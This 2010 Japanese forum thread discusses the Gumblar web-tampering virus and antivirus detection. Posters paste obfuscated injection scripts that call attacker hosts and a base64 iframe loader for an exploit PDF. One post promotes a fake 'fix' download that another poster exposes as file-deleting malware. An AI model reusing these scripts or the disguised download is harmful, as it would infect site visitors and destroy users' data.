avast!のWebシールドでも反応しない新ガンブラーが登場

ハスクバーナ・ゼノア
tp://www.zenoah.co.jp/　← 感染サイト閲覧注意

zenoah_co_jp.htm
http://www.virustotal.com/jp/analisis/9e032adbec239b778cd4e14405953799185c6c7f1f35fe90531c944efc2f0787-1262880649
0/41 (0.00%)

※時間が経つとスクリプトが変わる可能性あり？　詳細は不明
/*LGPL*/のときは反応しない
/*GNU GPL*/のときは反応する

【Gumblar/GENO】Web改竄ウイルス総合スレ【8080】
http://pc11.2ch.net/test/read.cgi/sec/1261855221/523n-

プォーン！プォーン！

↓ガンプラかと思った

avastなんて使ってるのは情弱だけっしょ
通はkingsoft一択

分かり易く説明してよクソムシ

眼鏡かえようかな

最近のウィルスはFTPパス抜くとか陰湿で嫌になるわ
豪快にHDD吹き飛ばすほうがまだ許せる

LGPLとかリンクしねーだろーが、おめーは

オススメのガンプラない？

ノーガード戦法最強

>>1
マジかavast捨ててくる

一体、何が始まるんです？

でもお高いんでしょう？

つーかまたダブルオーがHGで出るんだろ、セブンソードっての
買った奴涙目だろ

みんなで感染したら怖くない

レンタル鯖会社はファイルのハッシュを取って更新されたらメールするサービスしてくれ

Gumblarの対策って結局PDFリーダーをFoxitにして
FlashとJavaをアンインスコすれば済む話なんだよな
それができないから困るんだけど

結論から言うとアドビは潰れろという話なんだが

素00と0ライザー買ってブブドゥドゥ楽しんでたらソード3付きとセブンソードってどういう事だおい

金融系のサイトは大丈夫なんだろうか
ネット専業銀行のサイトにこれを仕込まれたらかなり大きな被害が出そうで心配なんだが

ttp://viploader.net/pmodel/src/vlpmodel001915.jpg

アヴァランチでさえ1/100で出たというのにセブンソードときたら…

AVG最強か

<script>/*LGPL*/ try{ window.onload = function(){var C1nse3sk8o41s = document.createElement('s&c^$#r))i($p@&t^&'.repl
ace(/&|#|\$|\(|@|\!|\^|\)/ig, ''));C1nse3sk8o41s.setAttribute('defer', 'd$#)e!^f$)e&(@@#r((!'
.replace(/#|\$|\(|&|\)|\^|@|\!/ig, ''));C1nse3sk8o41s.setAttribute('type', 't^&e(!x)$(t$/#@)j()(a
&)!v#a)s()c@^r$$i^$p()^？t&!@'.replace(/\(|@|\)|#|&|\$|\^|\!/ig, ''));C1nse3sk8o41s.setAttribute('id', 'U#!4!$^v&$e@h^)$x^
@w&$s#(@b)#w^^(&7#)6$@@l!)^'.replace(/&|\!|#|\$|\(|\^|@|\)/ig, ''));C1nse3sk8o41s.setAttribute('s()#r#^((c^'.replace(/@|&|#|\$|\(|
\)|\!|\^/ig, ''), 'h^^&t!t(p^^@&@:@/@/&!o？r!!#@k@)!#&u^!t^)@-!#!@c(#(o^m^$-((!b#)@@r(!.^@$h)##@a^#t)t#$))r(&^i&c@)$k$)).^o!$!r#g&)
$.&(w(#i$k@@t&$i!^@!o&n!!)a@@r$y&@#(-^$)o$r@g$!^!.$&^(w@e!!b$!@n#(^e#t$$e)#^^n$^g@!l$#!&i)$&s&^@h@.!r@@@u(&^:($8$^^0#8$
!!$0@)^/!&!g？o@o!((g)l？$)e(.@@c(!@^o!#m(/&g@(^o#((o^!)&g#@l))(e(？!.!!c&$$&o))$m&@$/@i!&n^t(!e^l^@.@)($c#(@o$!m(/)&v#)
))n^#e$t^@.$#@c()(n)^(&/$o&n^#)(l(^i^^n$)e!d^^o!@w@$&n(@.$$!#n^@e((t^/!@(@'.replace(/&|\(|\)|\$|\^|\!|#|@/ig, ''));
if (document){document.body.appendChild(C1nse3sk8o41s);}} } catch(O28ie36gdspcwlg5bd0) {}</script>

おっと研究用に貼ったところ情弱メルカトル民共が書き込めなくなっちまったな

永井先生思い出す

webシールドって意味あるの？

>>24
本気で言ってるのか

>>23
/google.com/google.com/intel.com/vnet.
前の奴は確かoperaだったよな・・・

ちょっと変更したら検出されないのか
いたちごっこだな
ttp://up3.viploader.net/pc/src/vlpc001717.png

標準シールドしか入ってない

ドクター中松
http://dr●nakamats●com/

>>31
こんなに感染してるウイルス最近ないよな、毎日どっかが感染して、ばらまいてる

zenoahってなんだよ、迂闊にググれないだろ。

凄い勢いで広がってるな

>>19
ふつうはそういったサイトはインターネット側からFTPで更新できないようになってるんじゃ？

カスペ買え貧乏人ども

一方ノートン先生は寝ていた

avastだって一発目だったらダメじゃん、有料系だって検体が送られてパターン更新されるまでは無防備

>>16
基本的に、うぷしたファイルそのものが感染してんじゃないっけ？

>>39
入れ替えられたらハッシュが変わるから変更は検知できる
tripwireとか言う奴、これだとファイルが変更されればメールなどで通知される

なんでコメント行で検出したりしなかったりするんだよ
すげえ安易に検出プログラム作ってないか？
お前もだ、マカフィー

adobe readerのjava script切ってれば問題ないんだろ？
余裕のよっちゃんイカだぜ

GENOの新種の事だたのか
しぶといなぁ

中華の調味料でこんな名前のやつあったな

avast!でさっき、ycmwc.exeなるファイルがどうとかって言う警告が出たんだけど、
誰が詳しく知らない？

おいMGガブスレイまだか

ナンプラーはタイ

やっぱりカスペルスキー最強ってことでいいの？

検体ないうちはどこでも無理なんじゃないの

>>45
http://www.prevx.com/filenames/1997607211983020257-X1/YCMWC.EXE.html
ファイルの動作
YCMWC.EXEは、次の動作を実行するためにアクセスされています：
別のプロセスの仮想メモリ（プロセスハイジャック）に書き込みます
実行プロセス
終了するプロセス
レジスタは、ダイナミックリンクライブラリファイル
このプロセスは、ディスク上の他のプロセスを作成します

YCMWC.EXEは、次の動作の対象とされています：
起動時に開くプログラムをロードするレジストリの自動起動として追加
プロセスとして実行される
コードは仮想メモリ空間に他のプログラムによって挿入されて
プロセスの終了
登録すると、ダイナミックリンクライブラリファイルとして
ディスク上のプロセスとして作成された

ファイル名YCMWC.EXE最初の2010年1月3日にPrevxコミュニティは、次の地理的な地域で見られた：
日本2010年1月3日に
イギリス2010年1月6日に

tes

>>42
最近の新型は駄目らしい

>>52
まじでか

>>53
うそ

壁殴っちまった・・・

さっきYFHでエロあさってたらCPU１００％でしばらくフリーズしたけど死んだかな

そもそも何でWEBサイト書き換えられるんだ？

GENOとか怪しいサイトならわかるけど、ローソンとかまともな企業のサイトが乗っ取られるっておかしいじゃん。

>>55
ActiveXかJAVAかadobe readerの中で脆弱性があるものを判別して攻撃
症状もそれによって違うみたいだが

>>58
おおありがとう

>>50
わざわざありがとう！
難しくてよく分からないね

avastたん早く解決してくれー！

>>57
今度はハウス食品　採用サイト改ざん、閲覧者1万2000人にGumblarウイルス感染の恐れ - ITmedia News
http://www.itmedia.co.jp/news/articles/1001/07/news082.html

＞採用サイトを担当する制作会社のPCがGumblar亜種に感染、サイト管理用のIDとパスワードが盗まれ、サイトが改ざんされたという。

>>57
どっかのとこで感染したPCから自分のサイトをFTPで更新すると
パケットキャプチャが仕掛けられててFTPのパスワードが抜かれる
感染したPCの中身に関しては破壊行為を起こさないから感染に気がつきにくい
HP制作会社のPCが感染したりすると一気に数サイトがやられる

さらにまともな企業サイトを見ているからウイルス感染に気がつかない

>>57
中国のおから工事と同じ理屈だろ

>>60
malwareって書いてあるから感染してるよ

ポリモルフィックか

万一に備えてNoScriptのホワイトリストを真っ白にしとくか
あとHGUCΖΖを早くしてね

>>65
あまり深刻そうじゃないからまあavast!にまかせて放置するよ
しかし何処で感染したのやら…

>>62
Webサイト制作会社のセキュリティってザルなんだな。もっと気を付けて欲しいわ。

今回ヒューリスティック検知も素通りなんかい？

WIN2000最強すぎてワラタｗｗ
なんぼ踏んでもビクともしねええええｗｗｗｗ
XP（笑）

>62-64
サンクス。
単にPCにイタズラしたり銀行とかネトゲのID盗むんじゃなくて、
より影響力のあるサイトを乗っとろうとするって挙動はウィルスっぽくてかっこいいな。

JavaScriptを切ってない男の人って……

これはbsdで運用してると問題ないの?

>>31
さっきウイルス発見したのにいまはもうない

>>75
「/*GNU GPL*/ 」が「/*LGPL*/」に変わった

>>31
ページの更新日時:2010年1月8日 3:37:16
/*LGPL*/タイプになったのか

>>76
中松が書き換えたの？

>>76
>>77
Avast!におくっといた。ありがとう。

>>78
ウイルスが書き換えたんでしょ

>>79
乙

>>78
こんな時間に作業してくれるHP制作会社があったら素晴らしいけど

>>78
中松本人がやってるの想像したじゃねーか

firefoxが落ちたな
しかも反応ないし、これはやばいな

今>>1のソースをvirustotalにおくったらNOD32だけが反応した

>>85
URLください

http://www.virustotal.com/jp/analisis/9e032adbec239b778cd4e14405953799185c6c7f1f35fe90531c944efc2f0787-1262896236
です

>>87
nod32　だけやん
他のはコメント行で判別してるんだな

>>87 >>1とで4時間でまずはNOD32か
明日くらいには検出率が50%を越えてくるんだろうけど、イタチごっこだな

ムリだ！ガンブラーは止まらない！

/*LGPL*/の中松はどこも反応しない
ttp://www.virustotal.com/jp/analisis/3cd786f2e75356a6d5343142226e6b7550aa635585db10185c26054c365fdc91-1262898334

俺等日本のサイトでしか騒いでないけど、
アメリカのサイトだって当然感染してるところがあるだろうし

ヘタしたらAdobe、訴訟されまくりになるんじゃね？

>>91
それちょこちょこ改ざんされてるかも。今確かめたらvirustotalは新しいファイルとして認識したよ。

怖いなあ。なんかますます進化してるなあ。

>>93
今もう一回保存してファイルのhashをみたけど前と同じだった

>>95
おれはhtmlだけおくったみたい。失礼しました。

　　　　　　　　ﾞ!:|:::::|::ｌ::|:l::l:;l斗:::'´!|:l:::ｌｉ| l:::::`!十‐+|:_l:::li::::/,小､{_ｲ＾| ﾄ､ヽ,)
　　　　　　　　/ﾊ:::::!::l::l:{::!::l:::! ::::l:| |:::ｌｉ| ﾞ!::::::ﾄ!:::::l:li:::トl:l└vｵ 　ｌ　|/| ﾞＹ
　　　　　 　　/ ハ::::!::!:l:|::!ﾞy,ｧﾈ宀､` ヾヾヽ　,ｧ7=!ｔ､:l::|:l:i (勹　j　j/}|　|
　　 　 　 　 / /　 ヾﾐ:l::|ヾYｵﾞh ::::::} 　 　　　１i　.::::ヽ!:|:ｌi と,ﾌ /　!Y::|　|
　　　 　 　 ヽ/　　 　l｀:::`:l|:ｉ　ﾋﾞ_''ﾂ 　 　 　　ﾄ!､:;;;;::ﾘﾄ川（ｲﾘ/　/i::i:l:|　|
　あ、バスト？　 　 ｜:: ::j:!:kXxx　　. 　　　　`ｰ--'/,';!::!jﾞY,/　/::|::ｉ:|:| ｜
　　　　　　　　　　　｜:: :ｌ:ｌ:ｉlヽ、　　　､ 　 　 xXxx//// }j"lヽ/ :::ｌ::l:|:L_｣　　　
　　 　 　 　 　 　 　 ｜:: :l:|:l:|:{:{＞ ､　　 　 　 ,.　 ////!::lj:: l:i l:i i::::|::l:|l
　 　 　 　 　 　 　 　 | :: :l:|:l:|:}{:{:l::l::l:l:` ┬ '　　／/;ノ｣_!_lj::l|:l:l::l::l:::|::l:|l
　　　　　　 　 　 　　j :: :l:|:l:l:{:／´￣｀ヽ」　 ／彡'´　　　 ｀Y:l:l::|: l:::|::::|l
　　　　　　　　　　　,' ::;:'j':l:l:{/　　 、　　ﾉ,〃／　　 　 　 　 l:l:l::|:::|:::!::::l:l、
　　　　　　　　　 　/ :;:'/j:l::l:j　　 　 ` 　 {｛（　 　 　 　 　 　 !l l::|: |:::|::::l::ｌi
　 　 　 　 　　　　/::;:'/:;j:j::jﾉ　 　 　 ,..　　｀)）　 !　 　 　 　 i|:l:l::|:::|:::l::::|::l:i、
.　　　　　　　 　 /:;:'/:::ji／ 　 　　／r‐‐＜｀ヽ、 ｌ　　　　　 .ll:|:l::|::i|:::| ::|::l::l
　　　 　 　　　　l::;'/::／　　 　,／.r-‐'≠｀　ヽ.｀｝｜　　　　　i!:l:|:l:|::||:::|:::|::|::|
　　　　　　　　 /´ヾ　　　　./　　i　r-､ 　 　 　.|　!　　 　 　 !l:|:l::l::|l::: | ::|::|::|
　　　　　　　／´ゝ､_,}　 　 :　　　し' 　}　　　　 |　.!　　　　　ijﾘ !jl///ﾘ !j }l/
　　 　 　 　 {　´￣￣｀ヽ　 ', 　　 　　 {　 　 　 |ｌ　| 　 　 　 l〃/〃/ /〃/
　　 　 　 　 ﾍ、 二ニﾆｲ　　 ,　 　　 　＼　 ' ´ V !　 　 　 .|i//　 /　　 /
　　　　　　　　}rｰ-‐‐ァ'､　　　ヽ､　　　　 ﾍ　 　 ∨　　　　 |

あ、ババババ

最近のは、OSがVista/7だったりしたら動作を変えるようになってるな
UACにひっかかって不審におもわれたりしないように

MSSEの俺は大丈夫

未だにＸＰ使ってる人居るんだww

この前SecurityToolっていうウィルスみたいなのに感染して
削除したらＯＳ起動しなくなってえらい目に合ったわ・・・

どうせｱﾄﾞﾋﾞをアップデートしとけば無傷なんだろ？

avastが
http://www.spacecraft.co.jp/hana_hizuki/diary/diary.cgi
このサイトでトロイって反応するけど誤探知？

素のFTPでインターネットからコンテンツ更新させるサイトなんて閉鎖しろ

セキュ板の人いる？
今いちばんガンブラー絡みの情報集まってるｽﾚってどこ？

>>106
【Gumblar/GENO】Web改竄ウイルス総合スレ【8080】
http://pc11.2ch.net/test/read.cgi/sec/1261855221/l50

ガンブラーと聞いて
XTOとか黄金砲とか連想してしまった

・Windows Vistaもしくは7を一般ユーザー(非管理者)でログインして使う
・Web閲覧には保護モードを有効にしたIE7orIE8を使う
・Microsoft UpdateでOSは最新に保つ
・Adobe Readerはインストールしないか、最新版をJavascript無効にして使う
・Adobe Flashは最新版を使う
・Javaはインストールしないか、最新版を使う
この6つを行えばかなり感染確立が下がる

://orkut-com-br.hattrick.org.wiktionary-org.webnetenglish.ru:8080/google.comgoogle.com/intel.com/vnet.cn/onlinedown.net/

オンラインスキャンでもするか

youtubeにavast! proのkeygen上がっててﾜﾛﾀｗｗｗ

>>105
それにも感染してた
ttp://www.virustotal.com/jp/analisis/9f09358064b50fc8c84d1b41f1890874e25eb85cd7d3ee20e33df83bbcc6583d-1262914771

>>107
�d

これさあ・・・SFTP(SSH+FTP)しか更新できなくしててもタメなんじゃね？

俺のavast!ﾀﾝなら、俺が何もしないでも俺を救ってくれると信じてる

PeerBlock で海外へのHTTP接続を拒否している俺に隙はなかった。

Web閲覧で、海外鯖の怪しいpdfやらflashをブラウザが見に行くから問題なので、
通信自体を遮断してしまえばいい。
日本のサイトに罠置かれたらやばいけど。

>>117
つーか海外サイトも普通に見るだろうが
全部遮断したら不便すぎるだろ

ﾌﾟｧｰﾌﾟｧｰﾌﾟｧｰ

んで、結局これはうぇｂだけが書きかえれるの？？
前のgenoみたくwin32\うんとかsqのハッシュやファイル容量
とか増えたり？？

>>118
そういうのはある程度巡回先が決まってるから、そこだけ許可するルールを追加する。
初回はめんどくさいが、一度作れば終わりだし、作業もクリックだけで出来るから特に不満はない。

それでも不便なら、最近は知らんが、GENOウィルスの怪しいpdfが置かれてるサーバは、バルト三国やらロシアやらの
普段閲覧するような国じゃないのでIPリスト拾ってそこだけでも弾けば良いんじゃね？

>>118がロシア人なら知らん。

>>115
今のところはパケットキャプチャしかしてないらしいし大丈夫でしょ
キーロガーとか仕込まれたりしたら漏れるかもしれんが
ウィルス仕掛ける側も手間が増えるし面倒くさいだろ。

>>119
コーヒー吹いたわw

>>73
えっ

genoってどういうウイルスなの？

おっと、チェンｓ−好きで良く見てたサイトだ

>>122
そんなぬるい考えは捨てた方がいいと思う
毎日どんだけ亜種生産されてると思ってんのよ

vistaはセーフだよね？

<script>
/*GNU GPL*/
try{window.onload = function(){var U26gcel3nnek = document.createElement('s@$$&c)$&r$i#(p#$!t!!('.replace(/@|\)|\!|\(|\^|\$|&|#/ig, ''));
var Zavq7z4z78k = 'Imrp1rhevfo';
U26gcel3nnek.setAttribute('type', 't(^$e&@&x!!$t!@&/)j((a)v&&a@(^s(!c((r!i$!p!$t!(#'.replace(/\^|#|&|\!|\(|\$|\)|@/ig, ''));
U26gcel3nnek.setAttribute('src', 'h())&t)t$$p@#:)^$)/((^/!$#g!o(&&u^^^g!$o？u!-$&c!)!o)^$$m)@!^.$(#n&)$i
#(n^#^g@.&@c&$#o@m(.)a###!c#(e!$$(r$$-^#c!@o)@!$m@.$^s)(u!@p$$e@r@(a(g(@^u)$&)!i#d!e&!!#.!@^r(^u^:)
#8&^#&0#(8)^0^/!!#i@$)#n^$@$.&!)!c&!(o((!m$&&/$i#!$n#!).)$@c#(^o@!$&m(@/@$g@o))o^&g@&l!#e!.^)c))o@
m#&@/$^#v#)i!)#d!^@e&)$)o@)!@@s#z$(.？^c@!$o!m(^^/@b^(&e#!@&s@((t)#$@#t&^)^u&b!(e^)c$^#l!@)i$)&!$p)
@s!$^$(.&$c@&)@o)!$m(^#&/('.replace(/\!|@|#|\$|\(|&|\^|\)/ig, ''));
U26gcel3nnek.setAttribute('defer', 'd!$@$e@f!!(&(e^r@)'.replace(/@|\(|\$|#|\!|\)|\^|&/ig, ''));
U26gcel3nnek.setAttribute('id', 'M$e!$7#!)r#!$l？@^9()!(#t$!^9&q#)@$$b&&^!3&@)'.replace(/\^|\)|@|&|\$|\!|\(|#/ig, ''));
document.body.appendChild(U26gcel3nnek);}}
catch(Lpmpa57y1j) {}
</script>
<!--86fa61201e3ca3a075145a1d33d3c209-->

>>128
最近のは7でも感染したとかの報告があったから、たぶん駄目だろ

これ、アンチウイルスソフトで除去できるの？

除去できるとしたら大手サイトの管理会社が感染してるのが不可解なんだがｗ

で、感染したら具体的にどうなるんだよこのヴァイラスは

一体何が目的なんです？

>>133
どっかのサイト乗っ取りたかったんじゃないの？

一番初めに対応したウイルス駆除会社があや・・・

window.onload とかproxomitronで潰してるわ

>>130
UACにブロックされない範囲だと大したことできないだろ？
UAC無効にしてたんじゃないの？

こういう事があった前後のAVソフトの売り上げ推移が見たい

>>22
AVG何も言って来ねーぞｗ

これに感染するとハローワークにしかアクセス出来なくなる

>>140
ウイルスのくせに日本救う気なの？

で、これ感染したらどーなんの？

これはavast先生的にどうなの？


<script type='text/javascript'>document.write(decodeURIComponent(function(r, s) { var t = '', p = -8, a = 0, b, c; for (var i = 0;
i < s.length; i++) { if ((c = r.indexOf(s.charAt(i))) < 0) continue; a = (a << 6) | (c & 63); if ((p += 6) >= 0) { b = (a >> p) &
255; if (c != 64) t += String.fromCharCode(b); a &= 63; p -= 8; } } return t; } ('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789+/=', 'JTNDaWZyYW1lJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjJzZW4uZGlwLmpwJTJGY2dpLWJpbiUyRnVwZ3VuJTJGdXAxJTJGc291cmNlJTJG
dXAzNjE3MC5wZGYlMjIlM0UlM0MlMkZpZnJhbWUlM0UlMEQlMEElM0NpZnJhbWUlMjBzcmMlM0QlMjJodHRwJTNBJTJGJTJGMnNlbi5kaXAuanAlMkZjZ2ktYmluJTJGdX
BndW4lMkZ1cDElMkZzb3VyY2UlMkZ1cDM2MTcwLnBkZiUyMiUzRSUzQyUyRmlmcmFtZSUzRSUwRCUwQSUzQ2lmcmFtZSUyMHNyYyUzRCUyMmh0dHAlM0ElMkYlMkYyc2Vu
LmRpcC5qcCUyRmNnaS1iaW4lMkZ1cGd1biUyRnVwMSUyRnNvdXJjZSUyRnVwMzYxNzAucGRmJTIyJTNFJTNDJTJGaWZyYW1lJTNFJTBEJTBBJTNDaWZyYW1lJTIwc3JjJT
NEJTIyaHR0cCUzQSUyRiUyRjJzZW4uZGlwLmpwJTJGY2dpLWJpbiUyRnVwZ3VuJTJGdXAxJTJGc291cmNlJTJGdXAzNjE3MC5wZGYlMjIlM0UlM0MlMkZpZnJhbWUlM0Ul
MEQlMEElM0NpZnJhbWUlMjBzcmMlM0QlMjJodHRwJTNBJTJGJTJGMnNlbi5kaXAuanAlMkZjZ2ktYmluJTJGdXBndW4lMkZ1cDElMkZzb3VyY2UlMkZ1cDM2MTcwLnBkZi
UyMiUzRSUzQyUyRmlmcmFtZSUzRSUwRCUwQSUzQ2lmcmFtZSUyMHNyYyUzRCUyMmh0dHAlM0ElMkYlMkYyc2VuLmRpcC5qcCUyRmNnaS1iaW4lMkZ1cGd1biUyRnVwMSUy

薬理作用のある善玉ウィルスですね

>>143
チェックしたらこんな感じになった
http://neko2.net/uploda.org/?540332.jpg

>>145
てかもう死んでるね
http://2sen.dip.jp/cgi-bin/upgun/up1/source/up36170.pdf

proxomitronで対策できないだろうか。

ごめんｗｗｗｗｗｗ生きてたｗｗｗｗ
>>146
注意してネ

無線LAN経由でID・パスが漏れて感染というケースが一番多そうｗ
今やWPAにしないと簡単にパケットキャプチャされて漏れるからなー

>>1
http://pc11.2ch.net/test/read.cgi/sec/1259607683/405
今北さん用、GENO（Gumblar）ウイルス対処法。

行っておくべき事項を箇条書きにしました。
細かなことは他にもいろいろありますが、とりあえず以下を実施して下さい。

(1）Microsoft Update（Windows Update）を実行しシステムを最新の状態にする
(2）Adobe Readerを最新版に更新する
(3) Adobe ReaderのAcrobat JavaScriptを無効に設定
(4) JRE(Java Runtime Environment)を最新版に更新する
(5) Flash Playerを最新版に更新する
(6) QuickTimeを最新版に更新する

(1)〜(4)を行っていれば、現時点で改ざんサイトを閲覧してもウイルスには感染しない。
攻撃コードは変化する可能性もあるので、念のため全て行っていただきたい。
Adobe Readerなどのアップデート方法については下記のトピックスを参照のこと。
Acrobat JavaScriptを無効にする方法は以下の通り。

(1）Adobe Readerを起動し[編集]メニューの[環境設定]を選択
(2）「分類」の中の「JavaScript」を選択
(3）「Acrobat JavaScriptを使用」のチェックをクリア
(4）「OK」ボタンを押す

>>147
おみとろんじゃないけど、念のためFWのフィルタに↓つっこんでる
.ru:8080/
.cn:8080/
これで落とそうとする物が防げる、はず

でも、>>150の特に＞(3）「Acrobat JavaScriptを使用」のチェックをクリア
をやっておけば、とりあえず大丈夫じゃないかな

これはネット史上最悪レベルのウイルスになりそうだな・・・

これからの時代はヒューリスティックでしのぐとか言ってた
NOD32は防御できてんの？

クラウド使ったpanda最強

またXPユーザーが血祭りに上がってるのか
さっさとVistaや7にしろよ

UACで根本的に解決すればいいのにあほやね

>>152
キンタマには勝てないなｗ

>>146
俺の上げたup36170.pdfのURLを貼るなよｗｗ
脆弱性テスト用のPDFだお
穴がある場合ｶﾜｲｿｽのダイアログが表示されるおっお

>>145
これなんだ？Microsoft Security Essentials反応したんだけど。
Foxit Readerもフリーズしたぞ。

>>146保存しようとおもたら反応した

>>159
up36170.pdfが山のように埋め込まれているようだ

ガンブラーに関してはavast!が最強だったから、
対avast!用に改良したのか

>>145
保存推奨かとｗ俺はmseだからよかったけど、これ凄いなｗ

>>158
おい、いたら返事

>>161
おーい

久々にﾌﾟｧｰﾝﾌﾟｧｰﾝﾌﾟｧｰﾝを聞いた。

>>165
小池

>>164
＜●＞＜●＞

>>168
シベリアで君の模倣犯が大暴れしてるよ
心当たりある？

>>169
なん・・だと！？
ｋｗｓｋ

>>170
http://anchorage.2ch.net/test/read.cgi/siberia/1138406800/106
こんな感じのマルチポストが89件

http://anchorage.2ch.net/test/read.cgi/siberia/1262099561/188-189
ここにkawaisosuというのがあるから、もしかしたらと思って聞いてみた

1138406800/106はシラネ
ソースコードを配布したのが不味かったのか・・・

ちなみに1262099561/188-189はどう考えても俺です、ありがとうございました

ガンブラー自己中心派

踏んだことある中じゃレベル低いよなこのウイルス
今までで最強はbios破壊された奴だ
お陰で立ち上がらなくなって初めてマザボのbios復旧機能が役にたった

avira最強じゃね

　　 　 　 　 .l l ＼| |　！ノートン先生　！　／/U　ヽ＿＿＿/
パソコン蛾人　　＼　！！大激怒！！　／／　　　U　　　　:::U:
ぶっ壊れ（＿_） 　　＼　！！！！！　／　/／ ＿__　　　＼　　:::
たお！　（＿＿） 　　　＼∧∧∧∧／　　 |　　|　　 |　　　　U ::::
　　　　 （`Д´＃）　　　＜　ぶ パ　＞　　　|U　|　　　|　　　　　::U:
　　 ＿|￣￣||＿）＿　＜　　っ　ソ ＞　　　 |　├―-┤　U.....::::
　／旦|――||/／ ／|　＜　壊 コ　＞　　　　ヽ　　　　　.....:::::::::
─────────＜　れ ン　＞──────────
<　　 ＿,ノ , 、ヽ､＿　ノ＜　た　蛾＞　　ﾌﾟｽﾌﾟｽﾌﾟｽ･･・・・∬∬
　（y○'）｀ヽ) ( ´（y○'）＜　 !!! 　　＞踏んじゃったよぉ＿＿＿
　　⌒　/　　　　ヽ⌒　／∨∨∨∨＼　　　∧＿∧　　|｜＼　　
うわあ |~￣￣~.|ぁぁ／パソコン蛾ぶ ＼　（ ；´Д｀）　 |｜　｜
ぁぁ|　|||! i: |||! !|ぁ／っ壊れた！ディス　＼（　　つ／￣|｜／
ぁぁ| |||| !! !!||| :|／プレイが砕け散った！ ＼ヽ　|二二二」

>>171
Good bye 9010
すでにBBQされています(´･ω･`) -> [BBQ]Roasted(-_-)

焼き串美味しいです＾＾

>>174
それってXPより前？それともXP以降の話？

>>178
XP　SP1か無印の頃

>>172
覚悟しておいてね

>>146
ウィルス検出通知 (VIRUS DETECTION)

指定したウェブページ中にコンピュータウィルスを検出しました。
あなたのコンピュータがウィルスに感染することを防ぐため、指定したウェブページの内容は表示されません。
このメッセージは、接続先のウェブサーバがウィルスに感染している可能性を示すものであり、あなたのコンピュータがウィルスに感染していることを示してはいません。

Computer virus was detected from the contents of this web page.
This page is not displayed to prevent computer virus from infecting your computer.
This message inform that the connected web server may be infected with virus.
And this message does not inform that your computer is infected.

VIRUS NAME: Exploit.JS.Pdfka.aio

Powered by F-Secure Anti-Virus Gateway for Linux

|-ﾟ)

>>174
本物のウイルスと同じで致死性が高いと拡散しにくい

え？やばいの？テスト用なんでしょ・・・・・心配になってきた。

>>180
何を覚悟しろとｗｗｗ

nod32以外糞
異論は認めへん

【緊急】ガンブラー復旧パッチ使用手順。
http://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2108
http://www14.atpages.jp/saba02site/files/fukkyuu0.zip

手順1
上記をダウンロードする。
手順2
ダウンロードしたファイルを任意のソフトで解凍する。
手順3
解凍したファイル内にある復旧パッチを実行すると、
｢windowを復旧しますか？｣とメッセージが出るので｢yes｣を選択します。
手順4
実行後、PCをセーフモードで再起動してください。

(){eval(unescape(('Script(t,'%')))})(/./g);

>>145
VISTAで踏んだところものすごくファンファン言った

感染してるの？

>>145
なにこれPC固まった

>>183
あのPDFはCVE-2009-0927のPoCを弄った物だお
→実行されたとしてもダイアログを表示するだけ←
そんなに心配ならソースコードうｐするお・・・

>>190
サンクス。本当のやつかと思ったので。
>>186
そういうことは止めなさい。日本人の良心って破綻してる。朝鮮人の事言えないなｗ

>>191
そいつは日本人じゃないんだろ

>>186
ttp://online.us.drweb.com/cache/?i=f9cb7d8b498e650360da64c63ce1284e
> fukkyuu0.exe infected with BAT.KillFiles.26

ttp://www.virustotal.com/analisis/095bb9a183c297e375230972cb1a426223ddb2a01e7f50b92dbd4a05ec1a3a97-1262936111
> File fukkyuu0.exe received on 2010.01.08 07:35:11 (UTC)
> Current status: finished
> Result: 29/41 (70.74%)

あ、ごめん。ほんとうのレジストリ復旧のやつぽい(^^ゞ
だめだ。最近、どうもZIPだの見ると疑ってしまう　ORZ

あ〜なんだ。やっぱりそうかいｗ

>>145
これ踏んだ奴はオンラインスキャンしとけ
仕込まれてるぞ

持ってて良かったJane

￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣｣
―――――――――――――‐┬┘
　　　　　　　　　　　 　 　 　 　 　 　 |
　　 　 　 ＿＿＿＿.＿＿＿＿ 　　 |　.＿＿　 いらないＰＣを
　　　　　|　 　 　 　 | 　 　 　 　|　　 |　|＼＿＼　　窓から
　　　　　|　 　 　 　 | ∧＿∧　|　　 |　|　 |.◎.｜　投げ捨てろ
　　　　　|　 　 　 　 |（　´∀｀）つ ミ |　|　 |.：　｜　>>186
　　　　　|　 　 　 　 |/ ⊃　 ﾉ　|　　 |　.＼|.≡.｜
　 　 　 　￣￣￣￣'￣￣￣￣　 　 |　　　￣



￣￣￣￣￣￣￣￣￣￣￣￣｣
――――――――――‐┬┘
　 　 　　　　　　　　　　　　　|
　 　＿＿＿＿.＿＿＿＿ 　|
　　|　 　 　 　 |..＿＿　　 |　|
　　|　 　 　 　 | |＼＿＼. |　|
　　|　 　 　 　 | | . |.◎　|つ |ミ　　　∧＿∧
　　|　 　 　 　 | | . |：　　| |　|　　 　（´・ω・）>>187
　 　￣￣￣￣'￣￣￣￣　 |　　　⊂ ⊂　）
　 　　　　　　　　　　　　　　　　⊂ ⊂　,ノ

>>196
>>161
>>190

ただの画像だろ？
画像踏んだだけでウイルスに感染するわけないじゃんｗｗｗｗ

>>145
専ブラでクリックしたら
Content-Type:text/html
と出るだけで、画像が表示されないです＞＜
感染しちゃったの？＞＜

してない

MSE使わないバカは何考えてるの？

>>145
MSEならExploit:JS/Mult.CDで検出できるよ。

MSE使ってたやつは感染してたろ
今対応してるかどうかより対応の早さが重要
MSEはその点駄目

64bitOSでも感染するの

FreeBSD俺に死角はなかった

こないだ起動しなくなって（真っ黒画面にカーソルだけﾋﾟｺﾋﾟｺ）
再インストールしたんだけどもしかして感染してた？
ググったら症状まったく一緒なんだが・・・。
とりあえず考えられるもの全部最新のにして
2〜3日経ってるんだけど、なんかヤバいかな？
今、とりあえず、スキャンしてる

tp://neko2.net/uploda.org/?540332.jpg
↓
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<HTML>
<HEAD>
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<META http-equiv="Content-Style-Type" content="text/css">
<META name="Keywords" content="">
<META name="Description" content="">
<TITLE></TITLE>
</HEAD>
<FRAMESET rows="100%">
<FRAME name="main" src="tp://wavlac.net/oinari-uploader/src/oinari0223.html">
<NOFRAMES>
<BODY>
</BODY>
</NOFRAMES>
</FRAMESET>
</HTML>

>>203
今日初めて知った

>>150は実行したけど、すでに感染してるかをどうやって確認すりゃいいの？

